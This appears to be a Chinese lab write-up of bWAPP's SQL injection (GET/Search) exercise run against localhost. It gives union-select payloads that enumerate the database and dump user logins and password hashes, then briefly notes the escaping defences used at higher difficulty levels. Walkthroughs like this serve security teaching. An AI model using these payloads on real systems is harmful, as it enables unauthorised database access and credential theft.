SQL注入:

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

LOW:

0x01:分析一下网站的后台源码

主要源代码:

 if(isset($_GET["title"]))//判断通过get方法获取title的值是否为空值
{
//将get方法获取的值赋值个title变量
$title = $_GET["title"];
//后台SQL查询语句
$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
//对MySQL数据库进行查询
$recordset = mysql_query($sql, $link);
if(!$recordset)
{
// die("Error: " . mysql_error());
?>

可以看到,后台对输入的值没有进行任何的过滤就直接对数据库进行查询了,这是个致命的漏洞。怎么进行防护,我们以后的课程再说,就是这个平台的high级别的方法。

0x02:测试分析

在输入框内输入一些数字,点击搜索

什么都没有出来。

网址栏:

http://127.0.0.1/sqli_1.php?title=1&action=search

我们再输入一些字符,输入一个e,点击搜索

可以看到出现很多内容,只要Title栏中带e的都会显示出来。

网址栏:

http://127.0.0.1/sqli_1.php?title=e&action=search

这样我们可以分析得出这里是一个字符型的get请求。

0x03:测试漏洞

接下来我们进行测试这里是否存在SQL注入漏洞

常用的方法:

'(英文符的单引号)报错测试大法
and和or测试大法

输入:

e'

点击搜索后

报错了,说明很大可能存在SQL注入漏洞了。

0x04:爆字段(字段就是这个数据表中的列)

使用的方法:

order by 语句
二分查找法

输入:

the' order by 10#

报错,说明字段数少于10

再输入:

the' order by 5#

这是个正常页面,表示没查到信息,没有爆出错误,说明字段数大于5小于10。

再输入:

the' order by 8#

8也报错,小于8

再输入:

the' order by 7#

发现没有报错,8报错,7没报错,说明字段数就是7了。

0x07:爆表(即获取当前数据表)

使用的技术

union select联合注入

输入:

the' union select 1,2,3,4,5,6,7#

这个1到7就是我们查出来这个表有的列

我们可以看到,出现了几个数字2、3、5、4

把一些内置函数替换这几个数字,会得出我们想要的东西。

例如

查看当前数据库名:

输入:

the' union select 1,database(),3,4,5,6,7#

我们将2替换成database()这个函数

可以看到原来Title栏的2变成了我们要查的当前数据库的名称bWAPP。

相关函数

system_user()         系统用户名
user() 用户名
current_user 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统

这些函数,你们自己都尝试去替换里面的数字,一次性替换几个也行,只要这些数字都是我们利用联合查询查到的数字就行。

我查看MySQL的版本号和当前数据库名:

输入:

the' union select 1,database(),version(),4,5,6,7#

可以看到在Release栏出现MySQL的版本5.547。

暴数据表

输入:

the' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()#

可以看到,爆出了5个表,其中users表是一个比较重要的表,也是值得我们注意的表。

0x06:获取后台账户用户名和密码

先查看users表的所有的列的信息

输入:

the' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#

其中的login和password,应该是我们有我们想要的东西。

那我们就去查出它们的信息

输入:

the' union select 1,login,password,4,5,6,7 from users#

在Title和Release栏把它们对应的账号和密码爆出了,其中密码是经过md5加密,我们需要去解密

Medium:

防护代码:

function sqli_check_1($data)
{ return addslashes($data); }

使用了addslashes()函数。

在php中,addslashes()函数是对输入字符串中的某些预定义字符前添加反斜杠;

预定义字符是:

  • 单引号(')
  • 双引号(")
  • 反斜杠(\)
  • NULL

High:

防护源码:

function sqli_check_2($data)
{ return mysql_real_escape_string($data); }

使用了mysql_real_escape_string()函数。

bWAPP练习--injection篇SQL Injection (GET/Search)的更多相关文章

  1. SQL injection

    SQL injection is a code injection technique, used to attack data-driven applications, in which malic ...

  2. Web for pentester_writeup之Commands injection篇

    Web for pentester_writeup之Commands injection篇 Commands injection(命令行注入) 代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛, ...

  3. Web for pentester_writeup之Code injection篇

    Web for pentester_writeup之Code injection篇 Code injection(代码注入) Example 1 <1> name=hacker' 添加一个 ...

  4. DVWA之 SQL Injection(Blind)

    SQL Injection(Blind) SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法 ...

  5. ecshop /search.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...

  6. 梨子带你刷burp练兵场(burp Academy) - 服务器篇 - Sql注入 - SQL injection UNION attack, determining the number of columns returned by the query

    目录 SQL injection UNION attack, determining the number of columns returned by the query SQL injection ...

  7. dedecms /plus/search.php SQL Injection && Local Variable Overriding

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 这个文件有两处注入漏洞 . $typeid变量覆盖导致ChannelTy ...

  8. SQL注入(SQL Injection)案例和防御方案

    sql注入(SQL Injection):就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入攻击的主要危害包括:非法读取.篡 ...

  9. How to prevent SQL injection attacks?

    In our earlier tutorial on SQL Injection, one way to have prevented the SQL injection attack was by ...

随机推荐

  1. 拓扑排序 最大字典序+优先队列 BZOJ 4010

    http://www.lydsy.com/JudgeOnline/problem.php?id=4010 4010: [HNOI2015]菜肴制作 Time Limit: 5 Sec  Memory ...

  2. 其他:strtok和sscanf结合输入读取一行整数

    gets(buf); int v; char *p = strtok(buf," "); while(p) { sscanf(p,"%d",&v); p ...

  3. Python学习笔记(九)返回函数

    摘抄:https://www.liaoxuefeng.com/wiki/0014316089557264a6b348958f449949df42a6d3a2e542c000/0014318352367 ...

  4. 重构改善既有代码设计--重构手法18:Self Encapsulate Field (自封装字段)

    你直接访问一个值域(field),但与值域之间的耦合关系逐渐变得笨拙. 为这个值域建立取值/设值函数(getting/setting methods),并且只以这些函数来访问值域. private i ...

  5. 关于NuGet

    一.NuGet是什么? NuGet是Microsoft开发平台的程序集包管理器,它由客户端工具和服务端站点组成,客户端工具提供给用户管理和安装/卸载软件程序包,以及打包和发布程序包到NuGet服务端站 ...

  6. 十二步创建你的第一个JavaScript库

    是否曾对Mootools的魔力感到惊奇?是否有想知道Dojo如何做到那样的?是否对jQuery感到好奇?在这个教程中,我们将了解它们背后的东西并且动手创建一个超级简单的你最喜欢的库. 我们其乎每天都在 ...

  7. JQuery对RadioButton和CheckButton的操作

    js对RadioButton和CheckButton的操作,在网站开发中会经常遇到,而JQuery操作RadioButton和CheckButton非常便捷.小编觉得网站开发人员有必要熟练掌握.所以小 ...

  8. array_unshift() 函数

    出处:http://www.w3school.com.cn/php/func_array_unshift.asp

  9. 【leetcode 简单】第三十八题 两数之和 II - 输入有序数组

    给定一个已按照升序排列 的有序数组,找到两个数使得它们相加之和等于目标数. 函数应该返回这两个下标值index1 和 index2,其中 index1 必须小于 index2. 说明: 返回的下标值( ...

  10. vc6列表框多选时,获取哪些项被选中

    //vc6列表框多选时,获取哪些项被选中...... void CWebcyzDlg::OnButton2() { int n = m_mylist1.GetSelCount();//首先获取一共有多 ...